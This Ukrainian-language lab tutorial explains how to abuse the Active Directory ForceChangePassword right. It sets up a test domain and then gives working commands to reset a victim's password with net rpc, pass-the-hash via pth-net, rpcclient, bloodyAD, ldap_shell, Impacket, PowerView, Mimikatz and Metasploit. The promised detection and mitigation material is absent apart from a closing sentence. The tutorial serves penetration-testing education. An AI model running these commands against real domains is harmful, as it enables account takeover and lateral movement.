У цьому дописі ми дослідимо зловживання привілеєм ForceChangePassword в Active Directory через експлуатацію списків керування доступом (DACL). Цей дозвіл є особливо небезпечним для привілейованих облікових записів, оскільки він дозволяє зловмиснику здійснювати горизонтальне переміщення (lateral movement) та отримувати несанкціонований доступ до систем шляхом імітації скомпрометованого акаунта. Саме тому розуміння механізмів цієї вразливості є критично важливим для фахівців із безпеки.
Крім того, ми опишемо налаштування лабораторії, необхідне для симуляції таких атак, а методи експлуатації будуть зіставлені з фреймворком MITRE ATT&CK для уточнення відповідних технік і тактик. Також будуть розглянуті механізми виявлення підозрілої активності, пов’язаної з атаками ForcePasswordChange. Разом із цим ми надамо дієві рекомендації щодо мінімізації цих вразливостей. У результаті цей огляд озброїть фахівців із безпеки критично важливими знаннями для розпізнавання та захисту від цих поширених загроз.
Зміст
- Право ForceChangePassword
- Передумови
- Налаштування лабораторії – Користувач має права ForceChangePassword
- Експлуатація – Користувач має права ForceChangePassword
- Bloodhound – Пошук слабких дозволів
- Метод експлуатації – Зміна пароля (T1110.001)
- Net RPC – Samba
- pth-toolkit
- Net RPC – Rpcclient
- Net RPC – BloodAD
- Інструмент ldap_shell
- impacket-changepasswd
- Windows PowerShell – Powerview
- Mimikatz
- Metasploit
Право ForceChangePassword
Цей дозвіл надає право змінювати пароль облікового запису користувача, не знаючи його поточного пароля. Як наслідок, зловмисники можуть використовувати цей доступ для виконання несанкціонованих дій.
Крім того, таке зловживання можливе при контролі над об’єктом, який має права GenericAll, AllExtendedRights або User-Force-Change-Password стосовно цільового користувача.
Передумови
- Windows Server 2019 як контролер домену Active Directory.
- Kali Linux.
- Інструменти: Bloodhound, Net RPC, Powerview, BloodyAD.
- Windows 10/11 — у якості клієнта.
Налаштування лабораторії – Користувач має права ForceChangePassword
Для початку, у цьому лабораторному налаштуванні ми створимо двох користувачів — Raj та Aarti, і призначимо користувачеві Raj права «Reset Password» (скидання пароля) для користувача Aarti. Щоб уточнити, ось як буде налаштовано лабораторне середовище:
Створення середовища AD:
Для симуляції середовища Active Directory вам знадобиться Windows Server як контролер домену (DC) та клієнтська машина (Windows або Linux), на якій ви зможете запускати інструменти для перерахування та експлуатації. Згодом ви будете готові протестувати зловживання ForceChangePassword в Active Directory у контрольованих умовах.
Контролер домену:
- По-перше, встановіть Windows Server (рекомендується 2016 або 2019).
- Потім підвищте його роль до контролера домену, додавши роль Active Directory Domain Services.
- Нарешті, налаштуйте домен (наприклад, ignite.local).
Облікові записи користувачів:
- Створіть два облікові записи користувачів AD з іменами Raj та Aarti.
net user raj Password@1 /add /domain
net user aarti Password@1 /add /domain

Призначення привілею «ForceChangePassword» користувачу Raj стосовно користувача Aarti:
Після налаштування середовища AD необхідно призначити права «ForceChangePassword» користувачу Raj для об’єкта Aarti.
Кроки:
- По-перше, відкрийте Active Directory Users and Computers (ADUC) на контролері домену.
- Увімкніть режим розширених функцій, натиснувши View (Вигляд) > Advanced Features (Додаткові компоненти).
- Знайдіть користувача Aarti у контейнері Users.
- Натисніть правою кнопкою миші на користувача Aarti та виберіть Properties (Властивості).

- Перейдіть на вкладку Security (Безпека) і натисніть кнопку Add (Додати).

- У полі «Enter the object name to select» введіть Raj і натисніть Check Names (Перевірити імена).

- Далі у розділі Permissions (Дозволи) знайдіть і позначте пункт Reset Password (Скидання пароля).
Застосуйте налаштування.

На даному етапі Raj має права Reset Password для користувача Aarti. Це означає, що Raj може змінити пароль облікового запису Aarti, не знаючи його поточного пароля.
Альтернативний метод налаштування лабораторії за допомогою Impacket
Крім того, налаштування лабораторії можна виконати за допомогою скрипта dacledit із пакету impacket.
Цей метод дозволяє адміністраторам (або атакуючим, що вже мають високі привілеї) змінювати списки керування доступом безпосередньо через командний рядок, що значно швидше за використання графічного інтерфейсу Windows.
impacket-dacledit -action 'write' -rights 'ResetPassword' -principal 'raj' -target-dn 'CN=aarti,CN=Users,DC=ignite,DC=local' 'ignite.local'/'administrator':'Ignite@987' -dc-ip 192.168.1.48

Експлуатація
Bloodhound – Пошук слабких дозволів
Використання BloodHound для підтвердження привілеїв: Ви можете скористатися BloodHound, щоб підтвердити, що Raj має права ForceChangePassword щодо користувача Aarti.
bloodhound-python -u raj -p Password@1 -ns 192.168.1.48 -d ignite.local -c All

На основі графічного представлення Bloodhound тестувальник ідентифікує вихідні об’єкти керування (outbound object control) для обраного користувача, де значення прямого керування (first degree object control) дорівнює 1.

Таким чином, інструмент показав, що користувач Raj має привілей ForceChangePassword для користувача Aarti.

Метод експлуатації – Зміна пароля (T1110.001)
Тестувальник може зловживати цим дозволом, змінивши пароль користувача Aarti, не знаючи його поточного пароля.
Net RPC – Samba
Спочатку атакуючі можуть використовувати net — інструмент для адміністрування клієнтів Samba та CIFS/SMB у UNIX-подібних системах для зміни паролів користувачів.
net rpc password aarti 'Password@987' -U ignite.local/raj%'Password@1' -S 192.168.1.48

pth-toolkit
Крім того, зловмисники можуть використовувати pth-toolkit для виконання команд Net RPC, використовуючи техніку Pass-the-Hash (PtH).
pth-net rpc password "aarti" -U ignite.local/"raj"%"64FBAE31CC352FC26AF97CBDEF151E03:"BD0F21ED526A885B378895679A412387" -S 192.168.1.48

Net RPC – Rpcclient
Альтернативно, атакуючі можуть використовувати rpcclient у UNIX-подібних системах, якщо пакет samba-common-bin відсутній.
rpcclient -U ignite.local/raj 192.168.1.48
setuserinfo aarti 23 Password@987

Net RPC – Bloody AD
Крім того, зловмисники можуть змінити пароль за допомогою bloodyAD.
bloodyAD --host "192.168.1.48" -d "ignite.local" -u "raj" -p "Password@1" set password "aarti" "Password@987"

ldap_shell tool
В іншому випадку атакуючі можуть скористатися ldap_shell для зміни паролів через протокол LDAP.
ldap_shell ignite.local/raj:Password@1 -dc-ip 192.168.1.48
change_password aarti Password@987

impacket-changepasswd
Нарешті, зловмисники можуть використати скрипт smbpasswd (або changepasswd.py) з пакету Impacket для зміни пароля користувача через протокол SMB, не знаючи поточного пароля.
impacket-changepasswd ignite.local/aarti@192.168.1.48 -newpass Password@1234 -altuser ignite.local/raj -altpass Password@1 -reset

Windows PowerShell – Powerview
Атакуючий може змінити пароль користувача за допомогою модуля PowerView. Це досягається за допомогою командлета Set-DomainUserPassword.
powershell -ep bypass
Import-Module .PowerView.ps1
$NewPassword = ConvertTo-SecureString 'Password1234' -AsPlainText -Force
Set-DomainUserPassword -Identity 'aarti' -AccountPassword $NewPassword

Mimikatz
Mimikatz може безпосередньо встановити новий NTLM-хеш для облікового запису користувача, не потребуючи поточного пароля.
lsadump::setntlm /server:ignite.local /user:aarti /password:Password@9876

Metasploit
Цей модуль дозволяє користувачам Active Directory змінювати власні паролі або скидати паролі для облікових записів, над якими вони мають відповідні привілеї.
use auxiliary/admin/ldap/change_password
set rhosts 192.168.1.48
set domain ignite.local
set username raj
set password Password@1
set target_user aarti
set new_password Password@7654
run

Висновок: Розуміння та мінімізація ризиків зловживання ForceChangePassword в Active Directory є важливими для захисту привілейованих акаунтів від несанкціонованого доступу та горизонтального переміщення.